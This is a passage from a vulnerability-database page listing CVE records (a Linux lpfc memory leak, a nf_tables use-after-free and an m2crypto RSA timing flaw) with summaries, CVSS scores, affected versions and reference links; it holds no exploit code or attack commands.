        {
          "url": "https://git.kernel.org/stable/c/2e41e98c4e79edae338f2662dbdf74ac2245d183"
        },
        {
          "url": "https://git.kernel.org/stable/c/b856d2c1384bc5a7456262afd21aa439ee5cdf6e"
        },
        {
          "url": "https://git.kernel.org/stable/c/eb09fbeb48709fe66c0d708aed81e910a577a30a"
        }
      ],
      "title": "mac802154: check local interfaces before deleting sdata list",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-57948",
    "datePublished": "2025-01-31T11:25:29.762Z",
    "dateReserved": "2025-01-19T11:50:08.380Z",
    "dateUpdated": "2026-05-12T12:01:41.428Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35930 (GCVE-0-2024-35930)

Vulnerability from cvelistv5 – Published: 2024-05-19 10:10 – Updated: 2026-05-12 11:52

Title

scsi: lpfc: Fix possible memory leak in lpfc_rcv_padisc()

Summary

In the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Fix possible memory leak in lpfc_rcv_padisc() The call to lpfc_sli4_resume_rpi() in lpfc_rcv_padisc() may return an unsuccessful status. In such cases, the elsiocb is not issued, the completion is not called, and thus the elsiocb resource is leaked. Check return value after calling lpfc_sli4_resume_rpi() and conditionally release the elsiocb resource.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/edf82aa7e9eb864a0…
https://git.kernel.org/stable/c/e2cd32435b1dff3d6…
https://git.kernel.org/stable/c/c473288f27d150144…
https://git.kernel.org/stable/c/7849e6f8410da9638…
https://git.kernel.org/stable/c/ee0b5f96b6d66a1e6…
https://git.kernel.org/stable/c/07a2aa674fca67931…
https://git.kernel.org/stable/c/3320126ed3afbc119…
https://git.kernel.org/stable/c/2ae917d4bcab80ab3…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 6b5151fd7baec6812fece993ddd7a2cf9fd0125f , < edf82aa7e9eb864a09229392054d131b34a5c9e8 (git) Affected: 6b5151fd7baec6812fece993ddd7a2cf9fd0125f , < e2cd32435b1dff3d63759476a3abc878e02fb6c8 (git) Affected: 6b5151fd7baec6812fece993ddd7a2cf9fd0125f , < c473288f27d15014447de5a891bdf22a0695847a (git) Affected: 6b5151fd7baec6812fece993ddd7a2cf9fd0125f , < 7849e6f8410da96384e3d1f6b6d730f095142dc7 (git) Affected: 6b5151fd7baec6812fece993ddd7a2cf9fd0125f , < ee0b5f96b6d66a1e6698228dcb41df11ec7f352f (git) Affected: 6b5151fd7baec6812fece993ddd7a2cf9fd0125f , < 07a2aa674fca679316b8ac51440adb895b53a7cf (git) Affected: 6b5151fd7baec6812fece993ddd7a2cf9fd0125f , < 3320126ed3afbc11934502319b340f91a4d61c8f (git) Affected: 6b5151fd7baec6812fece993ddd7a2cf9fd0125f , < 2ae917d4bcab80ab304b774d492e2fcd6c52c06b (git)
Linux	Linux	Affected: 3.4 Unaffected: 0 , < 3.4 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.155 , ≤ 5.15.* (semver) Unaffected: 6.1.86 , ≤ 6.1.* (semver) Unaffected: 6.6.27 , ≤ 6.6.* (semver) Unaffected: 6.8.6 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35930",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-17T17:38:29.862018Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-17T17:40:55.711Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.028Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/edf82aa7e9eb864a09229392054d131b34a5c9e8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e2cd32435b1dff3d63759476a3abc878e02fb6c8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c473288f27d15014447de5a891bdf22a0695847a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7849e6f8410da96384e3d1f6b6d730f095142dc7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ee0b5f96b6d66a1e6698228dcb41df11ec7f352f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/07a2aa674fca679316b8ac51440adb895b53a7cf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3320126ed3afbc11934502319b340f91a4d61c8f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2ae917d4bcab80ab304b774d492e2fcd6c52c06b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:55.678Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/lpfc/lpfc_nportdisc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "edf82aa7e9eb864a09229392054d131b34a5c9e8",
              "status": "affected",
              "version": "6b5151fd7baec6812fece993ddd7a2cf9fd0125f",
              "versionType": "git"
            },
            {
              "lessThan": "e2cd32435b1dff3d63759476a3abc878e02fb6c8",
              "status": "affected",
              "version": "6b5151fd7baec6812fece993ddd7a2cf9fd0125f",
              "versionType": "git"
            },
            {
              "lessThan": "c473288f27d15014447de5a891bdf22a0695847a",
              "status": "affected",
              "version": "6b5151fd7baec6812fece993ddd7a2cf9fd0125f",
              "versionType": "git"
            },
            {
              "lessThan": "7849e6f8410da96384e3d1f6b6d730f095142dc7",
              "status": "affected",
              "version": "6b5151fd7baec6812fece993ddd7a2cf9fd0125f",
              "versionType": "git"
            },
            {
              "lessThan": "ee0b5f96b6d66a1e6698228dcb41df11ec7f352f",
              "status": "affected",
              "version": "6b5151fd7baec6812fece993ddd7a2cf9fd0125f",
              "versionType": "git"
            },
            {
              "lessThan": "07a2aa674fca679316b8ac51440adb895b53a7cf",
              "status": "affected",
              "version": "6b5151fd7baec6812fece993ddd7a2cf9fd0125f",
              "versionType": "git"
            },
            {
              "lessThan": "3320126ed3afbc11934502319b340f91a4d61c8f",
              "status": "affected",
              "version": "6b5151fd7baec6812fece993ddd7a2cf9fd0125f",
              "versionType": "git"
            },
            {
              "lessThan": "2ae917d4bcab80ab304b774d492e2fcd6c52c06b",
              "status": "affected",
              "version": "6b5151fd7baec6812fece993ddd7a2cf9fd0125f",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/lpfc/lpfc_nportdisc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.4"
            },
            {
              "lessThan": "3.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.155",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.86",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.27",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.155",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.86",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.27",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.6",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: lpfc: Fix possible memory leak in lpfc_rcv_padisc()\n\nThe call to lpfc_sli4_resume_rpi() in lpfc_rcv_padisc() may return an\nunsuccessful status.  In such cases, the elsiocb is not issued, the\ncompletion is not called, and thus the elsiocb resource is leaked.\n\nCheck return value after calling lpfc_sli4_resume_rpi() and conditionally\nrelease the elsiocb resource."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:56.338Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/edf82aa7e9eb864a09229392054d131b34a5c9e8"
        },
        {
          "url": "https://git.kernel.org/stable/c/e2cd32435b1dff3d63759476a3abc878e02fb6c8"
        },
        {
          "url": "https://git.kernel.org/stable/c/c473288f27d15014447de5a891bdf22a0695847a"
        },
        {
          "url": "https://git.kernel.org/stable/c/7849e6f8410da96384e3d1f6b6d730f095142dc7"
        },
        {
          "url": "https://git.kernel.org/stable/c/ee0b5f96b6d66a1e6698228dcb41df11ec7f352f"
        },
        {
          "url": "https://git.kernel.org/stable/c/07a2aa674fca679316b8ac51440adb895b53a7cf"
        },
        {
          "url": "https://git.kernel.org/stable/c/3320126ed3afbc11934502319b340f91a4d61c8f"
        },
        {
          "url": "https://git.kernel.org/stable/c/2ae917d4bcab80ab304b774d492e2fcd6c52c06b"
        }
      ],
      "title": "scsi: lpfc: Fix possible memory leak in lpfc_rcv_padisc()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35930",
    "datePublished": "2024-05-19T10:10:39.051Z",
    "dateReserved": "2024-05-17T13:50:33.129Z",
    "dateUpdated": "2026-05-12T11:52:55.678Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-6817 (GCVE-0-2023-6817)

Vulnerability from cvelistv5 – Published: 2023-12-18 14:37 – Updated: 2026-05-12 10:41

Title

Use-after-free in Linux kernel's netfilter: nf_tables component

Summary

A use-after-free vulnerability in the Linux kernel's netfilter: nf_tables component can be exploited to achieve local privilege escalation. The function nft_pipapo_walk did not skip inactive elements during set walk which could lead double deactivations of PIPAPO (Pile Packet Policies) elements, leading to use-after-free. We recommend upgrading past commit 317eb9685095678f2c9f5a8189de698c5354316a.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Google

References

6 references

URL	Tags
https://git.kernel.org/pub/scm/linux/kernel/git/t…	patch
https://kernel.dance/317eb9685095678f2c9f5a8189de…
http://www.openwall.com/lists/oss-security/2023/12/22/6
http://www.openwall.com/lists/oss-security/2023/1…
https://lists.debian.org/debian-lts-announce/2024…
http://packetstormsecurity.com/files/177029/Kerne…

Impacted products

1 product

Vendor	Product	Version
Linux	Kernel	Affected: 5.6 , < 6.7 (custom)

Date Public ?

2023-12-06 16:14

Credits

Lonial Kong Xingyuan Mo

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T08:42:08.222Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=317eb9685095678f2c9f5a8189de698c5354316a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://kernel.dance/317eb9685095678f2c9f5a8189de698c5354316a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://www.openwall.com/lists/oss-security/2023/12/22/6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://www.openwall.com/lists/oss-security/2023/12/22/13"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00005.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://packetstormsecurity.com/files/177029/Kernel-Live-Patch-Security-Notice-LSN-0100-1.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:41:15.974Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageName": "kernel",
          "product": "Kernel",
          "repo": "https://git.kernel.org",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6.7",
              "status": "affected",
              "version": "5.6",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Lonial Kong"
        },
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Xingyuan Mo"
        }
      ],
      "datePublic": "2023-12-06T16:14:37.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A use-after-free vulnerability in the Linux kernel\u0027s netfilter: nf_tables component can be exploited to achieve local privilege escalation.\n\nThe function nft_pipapo_walk did not skip inactive elements during set walk which could lead double deactivations of PIPAPO (Pile Packet Policies) elements, leading to use-after-free.\n\nWe recommend upgrading past commit 317eb9685095678f2c9f5a8189de698c5354316a."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-233",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-233 Privilege Escalation"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-416",
              "description": "CWE-416 Use After Free",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-02-08T16:05:57.106Z",
        "orgId": "14ed7db2-1595-443d-9d34-6215bf890778",
        "shortName": "Google"
      },
      "references": [
        {
          "tags": [
            "patch"
          ],
          "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=317eb9685095678f2c9f5a8189de698c5354316a"
        },
        {
          "url": "https://kernel.dance/317eb9685095678f2c9f5a8189de698c5354316a"
        },
        {
          "url": "http://www.openwall.com/lists/oss-security/2023/12/22/6"
        },
        {
          "url": "http://www.openwall.com/lists/oss-security/2023/12/22/13"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00005.html"
        },
        {
          "url": "http://packetstormsecurity.com/files/177029/Kernel-Live-Patch-Security-Notice-LSN-0100-1.html"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Use-after-free in Linux kernel\u0027s netfilter: nf_tables component",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "14ed7db2-1595-443d-9d34-6215bf890778",
    "assignerShortName": "Google",
    "cveId": "CVE-2023-6817",
    "datePublished": "2023-12-18T14:37:05.986Z",
    "dateReserved": "2023-12-14T11:29:13.252Z",
    "dateUpdated": "2026-05-12T10:41:15.974Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-50781 (GCVE-0-2023-50781)

Vulnerability from cvelistv5 – Published: 2024-02-05 20:45 – Updated: 2026-05-12 11:02

Title

M2crypto: bleichenbacher timing attacks in the rsa decryption api - incomplete fix for cve-2020-25657

Summary

A flaw was found in m2crypto. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-203 - Observable Discrepancy

Assigner

redhat

References

2 references

URL	Tags
https://access.redhat.com/security/cve/CVE-2023-50781	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2254426	issue-trackingx_refsource_REDHAT

Impacted products

8 products

Vendor	Product	Version

Red Hat	Red Hat Enterprise Linux 6	cpe:/o:redhat:enterprise_linux:6
Red Hat	Red Hat Enterprise Linux 7	cpe:/o:redhat:enterprise_linux:7
Red Hat	Red Hat Enterprise Linux 8	cpe:/o:redhat:enterprise_linux:8
Red Hat	Red Hat Enterprise Linux 9	cpe:/o:redhat:enterprise_linux:9
Red Hat	Red Hat Enterprise Linux 9	cpe:/o:redhat:enterprise_linux:9
Red Hat	Red Hat Update Infrastructure 4 for Cloud Providers	cpe:/a:redhat:rhui:4::el8
Red Hat	Red Hat Virtualization 4	cpe:/o:redhat:rhev_hypervisor:4

Date Public ?

2023-12-13 00:00

Credits

This issue was discovered by Hubert Kario (Red Hat).

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-50781",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-02-06T15:33:02.354051Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:22:54.906Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T22:23:43.606Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "vdb-entry",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/security/cve/CVE-2023-50781"
          },
          {
            "name": "RHBZ#2254426",
            "tags": [
              "issue-tracking",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2254426"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:02:27.267Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://gitlab.com/m2crypto/m2crypto",
          "defaultStatus": "affected",
          "packageName": "m2crypto"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:6"
          ],
          "defaultStatus": "unknown",
          "packageName": "m2crypto",
          "product": "Red Hat Enterprise Linux 6",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:7"
          ],
          "defaultStatus": "unknown",
          "packageName": "m2crypto",
          "product": "Red Hat Enterprise Linux 7",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:8"
          ],
          "defaultStatus": "unaffected",
          "packageName": "virt-who",
          "product": "Red Hat Enterprise Linux 8",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:9"
          ],
          "defaultStatus": "unaffected",
          "packageName": "pywbem",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:9"
          ],
          "defaultStatus": "unaffected",
          "packageName": "virt-who",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhui:4::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "m2crypto",
          "product": "Red Hat Update Infrastructure 4 for Cloud Providers",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhev_hypervisor:4"
          ],
          "defaultStatus": "unaffected",
          "packageName": "m2crypto",
          "product": "Red Hat Virtualization 4",
          "vendor": "Red Hat"
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "This issue was discovered by Hubert Kario (Red Hat)."
        }
      ],
      "datePublic": "2023-12-13T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A flaw was found in m2crypto. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data."
        }
      ],
      "metrics": [
        {
          "other": {
            "content": {
              "namespace": "https://access.redhat.com/security/updates/classification/",
              "value": "Moderate"
            },
            "type": "Red Hat severity rating"
          }
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-203",
              "description": "Observable Discrepancy",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-24T11:28:16.855Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "references": [
        {
          "tags": [
            "vdb-entry",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/security/cve/CVE-2023-50781"
        },
        {
          "name": "RHBZ#2254426",
          "tags": [
            "issue-tracking",
            "x_refsource_REDHAT"
          ],
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2254426"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2023-12-13T00:00:00.000Z",
          "value": "Reported to Red Hat."
        },
        {
          "lang": "en",
          "time": "2023-12-13T00:00:00.000Z",
          "value": "Made public."
        }
      ],
      "title": "M2crypto: bleichenbacher timing attacks in the rsa decryption api - incomplete fix for cve-2020-25657",
      "workarounds": [
        {
          "lang": "en",
          "value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability."
        }
      ],
      "x_generator": {
        "engine": "cvelib 1.8.0"
      },
      "x_redhatCweChain": "CWE-203: Observable Discrepancy"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2023-50781",
    "datePublished": "2024-02-05T20:45:14.089Z",
    "dateReserved": "2023-12-13T20:44:02.023Z",
    "dateUpdated": "2026-05-12T11:02:27.267Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-6129 (GCVE-0-2023-6129)

